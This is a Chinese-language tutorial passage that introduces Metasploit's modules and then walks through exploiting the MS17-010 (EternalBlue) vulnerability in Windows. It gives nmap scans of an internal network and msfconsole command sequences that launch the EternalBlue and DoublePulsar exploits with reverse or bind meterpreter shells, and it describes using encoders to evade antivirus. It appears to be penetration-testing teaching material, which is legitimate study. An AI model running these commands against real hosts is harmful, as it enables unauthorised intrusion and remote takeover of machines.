一、Metasploit Framework原理
Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。团队合作,在Metasploit和综合报告提出了他们的发现。
Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。当H.D. Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了。仿佛一夜之间,任何人都可以成为黑客,每个人都可以使用攻击工具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。软件厂商再也不能推迟发布针对已公布漏洞的补丁了,这是因为Metasploit团队一直都在努力开发各种攻击工具,并将它们贡献给所有Metasploit用户。
Metasploit的设计初衷是打造成一个攻击工具开发平台,本书稍后将讲解如何开发攻击工具。然而在目前情况下,安全专家以及业余安全爱好者更多地将其当作一种点几下鼠标就可以利用其中附带的攻击工具进行成功攻击的环境。
这种可以扩展的模型将负载控制,编码器,无操作生成器和漏洞整合在一起,使 Metasploit Framework 成为一种研究高危漏洞的途径。它集成了各平台上常见的溢出漏洞和流行的 shellcode ,并且不断更新。最新版本的 MSF 包含了二千多种流行的操作系统及应用软件的漏洞,以及几百个 shellcode 。作为安全工具,它在安全检测中用着不容忽视的作用,并为漏洞自动化探测和及时检测系统漏洞提供了有力保障。
Metasploit自带上百种漏洞,还可以在online exploit building demo(在线漏洞生成演示)上看到如何生成漏洞。这使自己编写漏洞变得更简单,它势必将提升非法shellcode的水平,并且扩大网络阴暗面。与其相似的专业漏洞工具,如Core Impact和Canvas已经被许多专业领域用户使用。Metasploit降低了使用的门槛,将其推广给大众。
Metasploit的目标是,永远支持开源软件,促进社区参与,并提供最具创新性的渗透测试人员在世界各地的资源和工具。除了探索商业解决方案,致力于保持免费和开源的Metasploit框架。
MSF 主要模块介绍:
下图为metasploit的模块组成图:
Auxiliaries (辅助模块)
该模块不会直接在测试者和目标主机之间建立访问,它们只负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试。
Exploit (漏洞利用模块)
漏洞利用是指由渗透测试者利用一个系统、应用或者服务中的安全漏洞进行的攻击行为。流行的渗透攻击技术包括缓冲区溢出、Web应用程序攻击,以及利用配置错误等,其中包含攻击者或测试人员针对系统中的漏洞而设计的各种POC验证程序,用于破坏系统安全性的攻击代码,每个漏洞都有相应的攻击代码。
Payload (攻击载荷模块)
攻击载荷是我们期望目标系统在被渗透攻击之后完成实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令或者执行特定代码,在Metasploit框架中可以自由地选择、传送和植入。攻击载荷也可能是简单地在目标操作系统上执行一些命令,如添加用户账号等。
Post (后期渗透模块)
该模块主要用于在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、实施跳板攻击等。
Encoders (编码工具模块)
该模块在渗透测试中负责免杀,以防止被杀毒软件、防火墙、IDS及类似的安全软件检测出来。
渗透攻击步骤
使用MSF渗透测试时,可以综合使用以上模块,对目标系统进行侦察并发动攻击,大致的步骤如下所示。
扫描目标机系统,寻找可用漏洞。
选择并配置一个漏洞利用模块。
选择并配置一个攻击载荷模块。
选择一个编码技术, 用来绕过杀毒软件的查杀。
渗透攻击。
启动MSF:
命令行输入如下命令即可启动:
#sudo msfdb init
#msfconsole
MS17-010漏洞介绍
当 Microsoft 服务器消息块 1.0 (SMBv1) 服务器处理某些请求时,存在多个远程执行代码漏洞。成功利用这些漏洞的攻击者可以获取在目标系统上执行代码的能力。
MS17-010即永恒之蓝,他的爆发源于WannaCry勒索病毒的诞生。
该病毒是不法分子利用NSA(National Security Agency,美国国家安全局)泄露的危险漏洞“EternalBlue”(永恒之蓝)进行传播 。勒索病毒肆虐,俨然是一场全球性互联网灾难,给广大电脑用户造成了巨大损失。最新统计数据显示,100多个国家和地区超过10万台电脑遭到了勒索病毒攻击、感染。 勒索病毒是自熊猫烧香以来影响力最大的病毒之一。
MS17-010漏洞攻击内网主机的类型
可以攻击的内网主机类型有:
- Win7-x86
- Win7-x64
- WinServer2003
- WinServer2008
等
MS17-010漏洞攻击方式
MS17-010是历来是内网兵家必争之地(没有新的漏洞发掘之前),常常通过它来进行横向的渗透。但是不同的目标主机,利用方式有差异,需要根据情况调整才能成功攻击目标主机。
攻击之前的内网扫描:
#nmap -v -sn 172.16.20.0/24
#nmap -A -T4 172.16.20.120
1.X64系统
漏洞探测方式:
use auxiliary/scanner/smb/smb_ms17_010 set rhosts 192.168.2.149(目标主机的IP地址) |
漏洞利用方式/漏洞攻击方式:
use exploit/windows/smb/ms17_010_eternalblue set payload windows/x64/meterpreter/reverse_tcp (默认) 或者: set payload windows/x64/meterpreter/bind_tcp (容易被防火墙和杀软拦截) set rhost 192.168.2.149 run |
2.X86系统(32位系统)
漏洞探测方式:
use auxiliary/scanner/smb/smb_ms17_010 set rhosts 192.168.2.149(目标主机的IP地址) |
漏洞利用方式/漏洞攻击方式:
use exploit/windows/smb/eternalblue_doublepulsar show target set payload windows/meterpreter/reverse_tcp 或者:set payload windows/meterpreter/bind_tcp (容易被防火墙和杀软拦截) set processinject explorer.exe set rhost 192.168.2.136 run |
3.WinServer2003(32位系统)
漏洞探测方式: